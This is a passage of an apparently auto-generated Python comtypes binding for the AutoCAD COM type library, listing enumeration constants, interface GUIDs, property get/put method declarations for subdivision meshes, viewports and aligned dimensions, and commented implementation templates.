doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fVisible\n## def _set(self, fVisible):\n## '-no docstring-'\n## ImageVisibility = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return kClip\n## def _set(self, kClip):\n## '-no docstring-'\n## ClippingEnabled = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bTransp\n## def _set(self, bTransp):\n## '-no docstring-'\n## transparency = property(_get, _set, doc = _set.__doc__)\n##\n## def ClipBoundary(self, boundry):\n## '-no docstring-'\n## #return \n##\n## @property\n## def Height(self):\n## '-no docstring-'\n## #return pixelHeight\n##\n## @property\n## def Width(self):\n## '-no docstring-'\n## #return pixelWidth\n##\n## def _get(self):\n## '-no docstring-'\n## #return bShow\n## def _set(self, bShow):\n## '-no docstring-'\n## ShowRotation = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return ScaleFactor\n## def _set(self, ScaleFactor):\n## '-no docstring-'\n## ScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n\nIAcadWipeout._methods_ = [\n]\n################################################################\n## code template for IAcadWipeout implementation\n##class IAcadWipeout_Impl(object):\n\n\n# values for enumeration 'AcEntityName'\nac3dFace = 1\nac3dPolyline = 2\nac3dSolid = 3\nacArc = 4\nacAttribute = 5\nacAttributeReference = 6\nacBlockReference = 7\nacCircle = 8\nacDimAligned = 9\nacDimAngular = 10\nacDimDiametric = 12\nacDimOrdinate = 13\nacDimRadial = 14\nacDimRotated = 15\nacEllipse = 16\nacHatch = 17\nacLeader = 18\nacLine = 19\nacMtext = 21\nacPoint = 22\nacPolyline = 23\nacPolylineLight = 24\nacPolymesh = 25\nacRaster = 26\nacRay = 27\nacRegion = 28\nacShape = 29\nacSolid = 30\nacSpline = 31\nacText = 32\nacTolerance = 33\nacTrace = 34\nacPViewport = 35\nacXline = 36\nacGroup = 37\nacMInsertBlock = 38\nacPolyfaceMesh = 39\nacMLine = 40\nacDim3PointAngular = 41\nacExternalReference = 42\nacTable = 43\nacDimArcLength = 44\nacDimRadialLarge = 45\nacDwfUnderlay = 46\nacDgnUnderlay = 47\nacMLeader = 48\nacSubDMesh = 49\nacPdfUnderlay = 50\nacNurbSurface = 51\nAcEntityName = c_int # enum\nclass AcadSubEntSolidNode(CoClass):\n _reg_clsid_ = GUID('{AA04A465-8507-4023-9944-55E31D2433DA}')\n _idlflags_ = ['noncreatable']\n _typelib_path_ = typelib_path\n _reg_typelib_ = ('{AE7B2C8A-2E97-4406-8160-E8D32EB0B56D}', 1, 0)\nAcadSubEntSolidNode._com_interfaces_ = [IAcadSubEntSolidNode]\n\n\n# values for enumeration 'AcTextFontStyle'\nacFontRegular = 0\nacFontItalic = 1\nacFontBold = 2\nacFontBoldItalic = 3\nAcTextFontStyle = c_int # enum\nclass IAcadSubDMesh(IAcadEntity):\n _case_insensitive_ = True\n _iid_ = GUID('{EC699FE7-E0CC-413A-A4D6-1EE6BC0BC127}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadSubDMesh._methods_ = [\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Smoothness',\n ( ['out', 'retval'], POINTER(c_int), 'level' )),\n COMMETHOD([dispid(1), 'propput'], HRESULT, 'Smoothness',\n ( ['in'], c_int, 'level' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'Coordinates',\n ( ['out', 'retval'], POINTER(VARIANT), 'corners' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'Coordinates',\n ( ['in'], VARIANT, 'corners' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propget'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['out', 'retval'], POINTER(VARIANT), 'pVal' )),\n COMMETHOD([dispid(4), 'nonbrowsable', 'propput'], HRESULT, 'Coordinate',\n ( ['in'], c_int, 'Index' ),\n ( ['in'], VARIANT, 'pVal' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'VertexCount',\n ( ['out', 'retval'], POINTER(c_int), 'Count' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'FaceCount',\n ( ['out', 'retval'], POINTER(c_int), 'Count' )),\n]\n################################################################\n## code template for IAcadSubDMesh implementation\n##class IAcadSubDMesh_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return level\n## def _set(self, level):\n## '-no docstring-'\n## Smoothness = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return corners\n## def _set(self, corners):\n## '-no docstring-'\n## Coordinates = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self, Index):\n## '-no docstring-'\n## #return pVal\n## def _set(self, Index, pVal):\n## '-no docstring-'\n## Coordinate = property(_get, _set, doc = _set.__doc__)\n##\n## @property\n## def VertexCount(self):\n## '-no docstring-'\n## #return Count\n##\n## @property\n## def FaceCount(self):\n## '-no docstring-'\n## #return Count\n##\n\nclass IAcadViewport(IAcadObject):\n _case_insensitive_ = True\n _iid_ = GUID('{22E43AA3-270F-4F6C-ACA4-1A88769B04F5}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadViewports._methods_ = [\n COMMETHOD([dispid(0)], HRESULT, 'Item',\n ( ['in'], VARIANT, 'Index' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadViewport)), 'pItem' )),\n COMMETHOD([dispid(1), 'propget'], HRESULT, 'Count',\n ( ['out', 'retval'], POINTER(c_int), 'pCount' )),\n COMMETHOD([dispid(-4), 'restricted', 'hidden', 'propget'], HRESULT, '_NewEnum',\n ( ['out', 'retval'], POINTER(POINTER(IUnknown)), 'pVal' )),\n COMMETHOD([dispid(2)], HRESULT, 'Add',\n ( ['in'], BSTR, 'Name' ),\n ( ['out', 'retval'], POINTER(POINTER(IAcadViewport)), 'pRegApp' )),\n COMMETHOD([dispid(3)], HRESULT, 'DeleteConfiguration',\n ( ['in'], BSTR, 'Name' )),\n]\n################################################################\n## code template for IAcadViewports implementation\n##class IAcadViewports_Impl(object):\n## def Item(self, Index):\n## '-no docstring-'\n## #return pItem\n##\n## @property\n## def Count(self):\n## '-no docstring-'\n## #return pCount\n##\n## @property\n## def _NewEnum(self):\n## '-no docstring-'\n## #return pVal\n##\n## def Add(self, Name):\n## '-no docstring-'\n## #return pRegApp\n##\n## def DeleteConfiguration(self, Name):\n## '-no docstring-'\n## #return \n##\n\n\n# values for enumeration 'AcMenuFileType'\nacMenuFileCompiled = 0\nacMenuFileSource = 1\nAcMenuFileType = c_int # enum\n\n# values for enumeration 'AcDrawingAreaSCMDefault'\nacRepeatLastCommand = 0\nacSCM = 1\nAcDrawingAreaSCMDefault = c_int # enum\n\n# values for enumeration 'AcKeyboardPriority'\nacKeyboardRunningObjSnap = 0\nacKeyboardEntry = 1\nacKeyboardEntryExceptScripts = 2\nAcKeyboardPriority = c_int # enum\nclass IAcadDimAligned(IAcadDimension):\n _case_insensitive_ = True\n _iid_ = GUID('{FE96D5C6-E074-40E2-B5A9-1C6B3A2685D9}')\n _idlflags_ = ['dual', 'oleautomation']\nIAcadDimAligned._methods_ = [\n COMMETHOD([dispid(1), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine1Point',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine1Point' )),\n COMMETHOD([dispid(1), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine1Point',\n ( ['in'], VARIANT, 'xLine1Point' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propget'], HRESULT, 'ExtLine2Point',\n ( ['out', 'retval'], POINTER(VARIANT), 'xLine2Point' )),\n COMMETHOD([dispid(2), 'nonbrowsable', 'propput'], HRESULT, 'ExtLine2Point',\n ( ['in'], VARIANT, 'xLine2Point' )),\n COMMETHOD([dispid(3), 'propget'], HRESULT, 'AltUnits',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bAlternate' )),\n COMMETHOD([dispid(3), 'propput'], HRESULT, 'AltUnits',\n ( ['in'], VARIANT_BOOL, 'bAlternate' )),\n COMMETHOD([dispid(4), 'propget'], HRESULT, 'AltUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'precision' )),\n COMMETHOD([dispid(4), 'propput'], HRESULT, 'AltUnitsPrecision',\n ( ['in'], AcDimPrecision, 'precision' )),\n COMMETHOD([dispid(5), 'propget'], HRESULT, 'AltUnitsScale',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'scale' )),\n COMMETHOD([dispid(5), 'propput'], HRESULT, 'AltUnitsScale',\n ( ['in'], ACAD_NOUNITS, 'scale' )),\n COMMETHOD([dispid(6), 'propget'], HRESULT, 'AltRoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(6), 'propput'], HRESULT, 'AltRoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(7), 'propget'], HRESULT, 'AltTolerancePrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Distance' )),\n COMMETHOD([dispid(7), 'propput'], HRESULT, 'AltTolerancePrecision',\n ( ['in'], AcDimPrecision, 'Distance' )),\n COMMETHOD([dispid(9), 'propget'], HRESULT, 'AltUnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimUnits), 'Units' )),\n COMMETHOD([dispid(9), 'propput'], HRESULT, 'AltUnitsFormat',\n ( ['in'], AcDimUnits, 'Units' )),\n COMMETHOD([dispid(11), 'propget'], HRESULT, 'AltTextPrefix',\n ( ['out', 'retval'], POINTER(BSTR), 'prefix' )),\n COMMETHOD([dispid(11), 'propput'], HRESULT, 'AltTextPrefix',\n ( ['in'], BSTR, 'prefix' )),\n COMMETHOD([dispid(12), 'propget'], HRESULT, 'AltTextSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(12), 'propput'], HRESULT, 'AltTextSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(13), 'propget'], HRESULT, 'DimensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'color' )),\n COMMETHOD([dispid(13), 'propput'], HRESULT, 'DimensionLineColor',\n ( ['in'], ACAD_COLOR, 'color' )),\n COMMETHOD([dispid(14), 'propget'], HRESULT, 'ExtensionLineColor',\n ( ['out', 'retval'], POINTER(ACAD_COLOR), 'color' )),\n COMMETHOD([dispid(14), 'propput'], HRESULT, 'ExtensionLineColor',\n ( ['in'], ACAD_COLOR, 'color' )),\n COMMETHOD([dispid(15), 'propget'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['out', 'retval'], POINTER(AcDimPrecision), 'Prec' )),\n COMMETHOD([dispid(15), 'propput'], HRESULT, 'PrimaryUnitsPrecision',\n ( ['in'], AcDimPrecision, 'Prec' )),\n COMMETHOD([dispid(16), 'propget'], HRESULT, 'DimensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(16), 'propput'], HRESULT, 'DimensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(17), 'propget'], HRESULT, 'ExtensionLineExtend',\n ( ['out', 'retval'], POINTER(c_double), 'extend' )),\n COMMETHOD([dispid(17), 'propput'], HRESULT, 'ExtensionLineExtend',\n ( ['in'], c_double, 'extend' )),\n COMMETHOD([dispid(18), 'propget'], HRESULT, 'Fit',\n ( ['out', 'retval'], POINTER(AcDimFit), 'fittype' )),\n COMMETHOD([dispid(18), 'propput'], HRESULT, 'Fit',\n ( ['in'], AcDimFit, 'fittype' )),\n COMMETHOD([dispid(19), 'propget'], HRESULT, 'FractionFormat',\n ( ['out', 'retval'], POINTER(AcDimFractionType), 'Type' )),\n COMMETHOD([dispid(19), 'propput'], HRESULT, 'FractionFormat',\n ( ['in'], AcDimFractionType, 'Type' )),\n COMMETHOD([dispid(20), 'propget'], HRESULT, 'HorizontalTextPosition',\n ( ['out', 'retval'], POINTER(AcDimHorizontalJustification), 'Type' )),\n COMMETHOD([dispid(20), 'propput'], HRESULT, 'HorizontalTextPosition',\n ( ['in'], AcDimHorizontalJustification, 'Type' )),\n COMMETHOD([dispid(21), 'propget'], HRESULT, 'LinearScaleFactor',\n ( ['out', 'retval'], POINTER(ACAD_NOUNITS), 'Type' )),\n COMMETHOD([dispid(21), 'propput'], HRESULT, 'LinearScaleFactor',\n ( ['in'], ACAD_NOUNITS, 'Type' )),\n COMMETHOD([dispid(22), 'propget'], HRESULT, 'UnitsFormat',\n ( ['out', 'retval'], POINTER(AcDimLUnits), 'format' )),\n COMMETHOD([dispid(22), 'propput'], HRESULT, 'UnitsFormat',\n ( ['in'], AcDimLUnits, 'format' )),\n COMMETHOD([dispid(23), 'propget'], HRESULT, 'ExtensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'lweight' )),\n COMMETHOD([dispid(23), 'propput'], HRESULT, 'ExtensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'lweight' )),\n COMMETHOD([dispid(24), 'propget'], HRESULT, 'RoundDistance',\n ( ['out', 'retval'], POINTER(c_double), 'Distance' )),\n COMMETHOD([dispid(24), 'propput'], HRESULT, 'RoundDistance',\n ( ['in'], c_double, 'Distance' )),\n COMMETHOD([dispid(25), 'propget'], HRESULT, 'DimLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(25), 'propput'], HRESULT, 'DimLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(26), 'propget'], HRESULT, 'DimLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(26), 'propput'], HRESULT, 'DimLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(27), 'propget'], HRESULT, 'ExtLine1Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(27), 'propput'], HRESULT, 'ExtLine1Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(28), 'propget'], HRESULT, 'ExtLine2Suppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bSuppress' )),\n COMMETHOD([dispid(28), 'propput'], HRESULT, 'ExtLine2Suppress',\n ( ['in'], VARIANT_BOOL, 'bSuppress' )),\n COMMETHOD([dispid(29), 'propget'], HRESULT, 'DimLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(29), 'propput'], HRESULT, 'DimLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(30), 'propget'], HRESULT, 'TextInsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(30), 'propput'], HRESULT, 'TextInsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(31), 'propget'], HRESULT, 'TextInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(31), 'propput'], HRESULT, 'TextInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(32), 'propget'], HRESULT, 'ForceLineInside',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(32), 'propput'], HRESULT, 'ForceLineInside',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(33), 'propget'], HRESULT, 'TextOutsideAlign',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bInside' )),\n COMMETHOD([dispid(33), 'propput'], HRESULT, 'TextOutsideAlign',\n ( ['in'], VARIANT_BOOL, 'bInside' )),\n COMMETHOD([dispid(35), 'propget'], HRESULT, 'ExtensionLineOffset',\n ( ['out', 'retval'], POINTER(c_double), 'Offset' )),\n COMMETHOD([dispid(35), 'propput'], HRESULT, 'ExtensionLineOffset',\n ( ['in'], c_double, 'Offset' )),\n COMMETHOD([dispid(48), 'propget'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(48), 'propput'], HRESULT, 'AltSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(49), 'propget'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(49), 'propput'], HRESULT, 'AltSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(50), 'propget'], HRESULT, 'AltSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(50), 'propput'], HRESULT, 'AltSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(51), 'propget'], HRESULT, 'AltSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(51), 'propput'], HRESULT, 'AltSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(52), 'propget'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(52), 'propput'], HRESULT, 'AltToleranceSuppressLeadingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(53), 'propget'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(53), 'propput'], HRESULT, 'AltToleranceSuppressTrailingZeros',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(54), 'propget'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(54), 'propput'], HRESULT, 'AltToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(55), 'propget'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(55), 'propput'], HRESULT, 'AltToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(56), 'propget'], HRESULT, 'SuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(56), 'propput'], HRESULT, 'SuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(57), 'propget'], HRESULT, 'SuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(57), 'propput'], HRESULT, 'SuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(58), 'propget'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(58), 'propput'], HRESULT, 'ToleranceSuppressZeroFeet',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(59), 'propget'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bVal' )),\n COMMETHOD([dispid(59), 'propput'], HRESULT, 'ToleranceSuppressZeroInches',\n ( ['in'], VARIANT_BOOL, 'bVal' )),\n COMMETHOD([dispid(60), 'propget'], HRESULT, 'DimensionLineWeight',\n ( ['out', 'retval'], POINTER(ACAD_LWEIGHT), 'weight' )),\n COMMETHOD([dispid(60), 'propput'], HRESULT, 'DimensionLineWeight',\n ( ['in'], ACAD_LWEIGHT, 'weight' )),\n COMMETHOD([dispid(61), 'propget'], HRESULT, 'ArrowheadSize',\n ( ['out', 'retval'], POINTER(c_double), 'size' )),\n COMMETHOD([dispid(61), 'propput'], HRESULT, 'ArrowheadSize',\n ( ['in'], c_double, 'size' )),\n COMMETHOD([dispid(62), 'propget'], HRESULT, 'Arrowhead1Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(62), 'propput'], HRESULT, 'Arrowhead1Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(63), 'propget'], HRESULT, 'Arrowhead2Type',\n ( ['out', 'retval'], POINTER(AcDimArrowheadType), 'Type' )),\n COMMETHOD([dispid(63), 'propput'], HRESULT, 'Arrowhead2Type',\n ( ['in'], AcDimArrowheadType, 'Type' )),\n COMMETHOD([dispid(64), 'propget'], HRESULT, 'Measurement',\n ( ['out', 'retval'], POINTER(c_double), 'bVal' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead1Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(65), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead1Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propget'], HRESULT, 'Arrowhead2Block',\n ( ['out', 'retval'], POINTER(BSTR), 'BlockName' )),\n COMMETHOD([dispid(66), 'nonbrowsable', 'propput'], HRESULT, 'Arrowhead2Block',\n ( ['in'], BSTR, 'BlockName' )),\n COMMETHOD([dispid(80), 'propget'], HRESULT, 'DimensionLinetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(80), 'propput'], HRESULT, 'DimensionLinetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(81), 'propget'], HRESULT, 'ExtLine1Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(81), 'propput'], HRESULT, 'ExtLine1Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(82), 'propget'], HRESULT, 'ExtLine2Linetype',\n ( ['out', 'retval'], POINTER(BSTR), 'Linetype' )),\n COMMETHOD([dispid(82), 'propput'], HRESULT, 'ExtLine2Linetype',\n ( ['in'], BSTR, 'Linetype' )),\n COMMETHOD([dispid(83), 'propget'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bFixedLen' )),\n COMMETHOD([dispid(83), 'propput'], HRESULT, 'ExtLineFixedLenSuppress',\n ( ['in'], VARIANT_BOOL, 'bFixedLen' )),\n COMMETHOD([dispid(84), 'propget'], HRESULT, 'ExtLineFixedLen',\n ( ['out', 'retval'], POINTER(c_double), 'FixedLen' )),\n COMMETHOD([dispid(84), 'propput'], HRESULT, 'ExtLineFixedLen',\n ( ['in'], c_double, 'FixedLen' )),\n COMMETHOD([dispid(85), 'propget'], HRESULT, 'DimConstrForm',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsDynamic' )),\n COMMETHOD([dispid(85), 'propput'], HRESULT, 'DimConstrForm',\n ( ['in'], VARIANT_BOOL, 'bIsDynamic' )),\n COMMETHOD([dispid(86), 'propget'], HRESULT, 'DimConstrReference',\n ( ['out', 'retval'], POINTER(VARIANT_BOOL), 'bIsReference' )),\n COMMETHOD([dispid(86), 'propput'], HRESULT, 'DimConstrReference',\n ( ['in'], VARIANT_BOOL, 'bIsReference' )),\n COMMETHOD([dispid(87), 'propget'], HRESULT, 'DimConstrName',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrName' )),\n COMMETHOD([dispid(87), 'propput'], HRESULT, 'DimConstrName',\n ( ['in'], BSTR, 'bstrName' )),\n COMMETHOD([dispid(88), 'propget'], HRESULT, 'DimConstrExpression',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrExpression' )),\n COMMETHOD([dispid(88), 'propput'], HRESULT, 'DimConstrExpression',\n ( ['in'], BSTR, 'bstrExpression' )),\n COMMETHOD([dispid(89), 'propget'], HRESULT, 'DimConstrValue',\n ( ['out', 'retval'], POINTER(BSTR), 'Value' )),\n COMMETHOD([dispid(89), 'propput'], HRESULT, 'DimConstrValue',\n ( ['in'], BSTR, 'Value' )),\n COMMETHOD([dispid(90), 'propget'], HRESULT, 'DimConstrDesc',\n ( ['out', 'retval'], POINTER(BSTR), 'bstrDescription' )),\n COMMETHOD([dispid(90), 'propput'], HRESULT, 'DimConstrDesc',\n ( ['in'], BSTR, 'bstrDescription' )),\n COMMETHOD([dispid(1574), 'propget'], HRESULT, 'SubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1574), 'propput'], HRESULT, 'SubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1575), 'propget'], HRESULT, 'SubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1575), 'propput'], HRESULT, 'SubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n COMMETHOD([dispid(1576), 'propget'], HRESULT, 'AltSubUnitsSuffix',\n ( ['out', 'retval'], POINTER(BSTR), 'suffix' )),\n COMMETHOD([dispid(1576), 'propput'], HRESULT, 'AltSubUnitsSuffix',\n ( ['in'], BSTR, 'suffix' )),\n COMMETHOD([dispid(1577), 'propget'], HRESULT, 'AltSubUnitsFactor',\n ( ['out', 'retval'], POINTER(c_double), 'factor' )),\n COMMETHOD([dispid(1577), 'propput'], HRESULT, 'AltSubUnitsFactor',\n ( ['in'], c_double, 'factor' )),\n]\n################################################################\n## code template for IAcadDimAligned implementation\n##class IAcadDimAligned_Impl(object):\n## def _get(self):\n## '-no docstring-'\n## #return xLine1Point\n## def _set(self, xLine1Point):\n## '-no docstring-'\n## ExtLine1Point = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return xLine2Point\n## def _set(self, xLine2Point):\n## '-no docstring-'\n## ExtLine2Point = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bAlternate\n## def _set(self, bAlternate):\n## '-no docstring-'\n## AltUnits = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return precision\n## def _set(self, precision):\n## '-no docstring-'\n## AltUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return scale\n## def _set(self, scale):\n## '-no docstring-'\n## AltUnitsScale = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltRoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## AltTolerancePrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Units\n## def _set(self, Units):\n## '-no docstring-'\n## AltUnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return prefix\n## def _set(self, prefix):\n## '-no docstring-'\n## AltTextPrefix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return suffix\n## def _set(self, suffix):\n## '-no docstring-'\n## AltTextSuffix = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## DimensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return color\n## def _set(self, color):\n## '-no docstring-'\n## ExtensionLineColor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Prec\n## def _set(self, Prec):\n## '-no docstring-'\n## PrimaryUnitsPrecision = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## DimensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return extend\n## def _set(self, extend):\n## '-no docstring-'\n## ExtensionLineExtend = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return fittype\n## def _set(self, fittype):\n## '-no docstring-'\n## Fit = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## FractionFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## HorizontalTextPosition = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Type\n## def _set(self, Type):\n## '-no docstring-'\n## LinearScaleFactor = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return format\n## def _set(self, format):\n## '-no docstring-'\n## UnitsFormat = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return lweight\n## def _set(self, lweight):\n## '-no docstring-'\n## ExtensionLineWeight = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return Distance\n## def _set(self, Distance):\n## '-no docstring-'\n## RoundDistance = property(_get, _set, doc = _set.__doc__)\n##\n## def _get(self):\n## '-no docstring-'\n## #return bSuppress\n## 